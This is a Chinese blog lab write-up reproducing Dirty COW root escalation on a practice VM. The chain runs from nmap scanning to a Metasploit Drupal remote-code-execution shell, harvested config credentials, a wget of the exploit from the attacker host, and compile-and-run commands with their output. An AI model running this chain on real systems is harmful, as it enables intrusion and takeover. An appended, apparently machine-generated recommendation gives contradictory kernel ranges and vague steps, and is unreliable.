脏牛提权(靶机复现)

本文详细介绍了脏牛漏洞的原理、利用过程,包括通过nmap扫描寻找目标机器、msf工具进行攻击、内网漏洞信息收集和两种漏洞利用方法。涉及技术如Linux内核、竞态条件、远程代码执行和SSH渗透。
摘要由CSDN通过智能技术生成

目录

一、脏牛漏洞概述

二、漏洞复现

1.nmap信息收集

1.1.查看当前IP地址

1.2.扫描当前网段,找出目标机器

1.3.快速扫描目标机全端口

三、访问收集到的资产

192.168.40.134:80

192.168.40.134:1898

四、msf攻击

1.查找对应exp

2.选择对应exp并配置相关设置

五、内网漏洞信息收集

六、漏洞利用

方法一

1.上传漏洞exp进行利用

2.上传exp

3.编译exp并使用python开启一个bash终端

4.执行编译后的exp

5.su登录root账户

方法二

1.通过排查信息,发现网站配置信息

2.ssh连接

3.传入exp并编译执行。


一、脏牛漏洞概述

脏牛漏洞,又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

漏洞范围

Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

漏洞编号

脏牛的CVE编号是CVE-2016-5195。

漏洞危害

低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

漏洞原理

该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。

恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。

竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。

利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

二、漏洞复现

  • 环境:同一内网下
  • 靶机下载:

1.nmap信息收集

1.1.查看当前IP地址

┌──(root㉿tubug)-[~/桌面]
└─# ifconfig eth0 | grep inet
        inet 192.168.40.130  netmask 255.255.255.0  broadcast 192.168.40.255
        inet6 fe80::20c:29ff:fe88:e3c  prefixlen 64  scopeid 0x20<link>

1.2.扫描当前网段,找出目标机器

┌──(root㉿tubug)-[~/桌面]
└─# nmap -sP 192.168.40.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/

发现目标机为:192.168.40.134

1.3.快速扫描目标机全端口

┌──(root㉿tubug)-[~/桌面]
└─# nmap -sS -p 1-65535 192.168.40.134
/*
-sS	SYN扫描技术
-p  指定端口
*/

三、访问收集到的资产

192.168.40.134:80

192.168.40.134:1898

访问发现关键信息网站指纹:Drupal

四、msf攻击

1.查找对应exp

┌──(root㉿tubug)-[~/桌面]
└─# msfconsole
msf6 > search drupal

2.选择对应exp并配置相关设置

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.40.134
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > getuid
Server username: www-data

该exp漏洞属于远程代码执行漏洞
构造特殊的HTTP请求,将恶意代码注入到网站的表单处理程序中从而执行恶意代码。

五、内网漏洞信息收集

📎bug.sh

meterpreter > upload /root/bug.sh /tmp/1.sh
meterpreter > shell
pwd
		/var/www/html

cd /tmp/

pwd
		/tmp

ls
		1.sh

bash 1.sh

发现脏牛漏洞,CVE-2016-5195

六、漏洞利用

方法一

1.上传漏洞exp进行利用

📎dcow.cpp

2.上传exp

meterpreter > upload /root/dcow.cpp /tmp/dirtcow.cpp
meterpreter > shell
cd /tmp

3.编译exp并使用python开启一个bash终端

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'

4.执行编译后的exp

www-data@lampiao:/tmp$ ./dcow   
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

5.su登录root账户

www-data@lampiao:/tmp$ su root 
su root 
Password: dirtyCowFun

方法二

1.通过排查信息,发现网站配置信息

meterpreter > shell
cd /var/www/html/sites/default/
cat settings.php

发现一个账号以及密码

发现账号不像是正经账号,使用ssh连接提示密码错误,猜测用户名可能另有其人。

cd /home                                                                                                                                                                                         
ls                                                                                                                                                                                               
	tiago

进入用户家目录发现一个名位tiago的名称,尝试ssh连接

2.ssh连接

发现是一个普通用户

3.传入exp并编译执行。

使用http协议传输exp至目标机。

注:scp命令需root账号密码。

kali开启网站服务,并将exp存放到网站目录下。使用普通用户下载exp。

root㉿tubug)-[~/桌面]
└─# service apache2 start 		

┌──(root㉿tubug)-[~]
└─# ls /var/www/html/dcow.cpp

					/var/www/html/dcow.cpp


tiago@lampiao:~$ wget http://192.168.40.130/dcow.cpp

tiago@lampiao:~$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
tiago@lampiao:~$ ls
dcow  dcow.cpp


tiago@lampiao:~$ ./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)


tiago@lampiao:~$ su - root
Password: 


root@lampiao:~# id
uid=0(root) gid=0(root) groups=0(root)
  • 14
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
你好!对于Linux提权脏牛漏洞(CVE-2016-5195),我可以为你提供一些复现的步骤。请注意,这是一个严重的安全漏洞,仅用于测试和教育目的。 在开始之前,请确保你已经备份了你的系统和数据,因为这个过程可能会对系统造成损坏。 以下是复现脏牛漏洞的一般步骤: 1. 确认你的系统受到脏牛漏洞的影响。你可以使用以下命令检查: ```shell $ uname -r ``` 如果输出的内核版本在`3.0`到`4.7`之间(不包括两端),那么你的系统可能受到影响。 2. 下载并编译脏牛漏洞的测试程序,可以使用以下命令: ```shell $ git clone https://github.com/dirtycow/dirtycow.github.io $ cd dirtycow.github.io $ make ``` 3. 运行测试程序进行提权。请注意,这可能会对系统造成损坏,所以请谨慎操作。 ```shell $ ./test_dirtycow your_file_name ``` `your_file_name`是你想要修改的目标文件的路径。这个测试程序会尝试修改目标文件的权限,以实现提权效果。 4. 检查提权是否成功。你可以尝试运行一个需要超级用户权限的命令来验证。 ```shell $ sudo whoami ``` 如果输出结果为"root",那么你已经成功提权了。 请记住,在测试和复现漏洞时,务必遵守法律和道德准则。此外,确保你在合法的环境下进行测试,并获得了合适的授权。 希望这些步骤能帮助到你!如果你有任何其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

'tubug'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值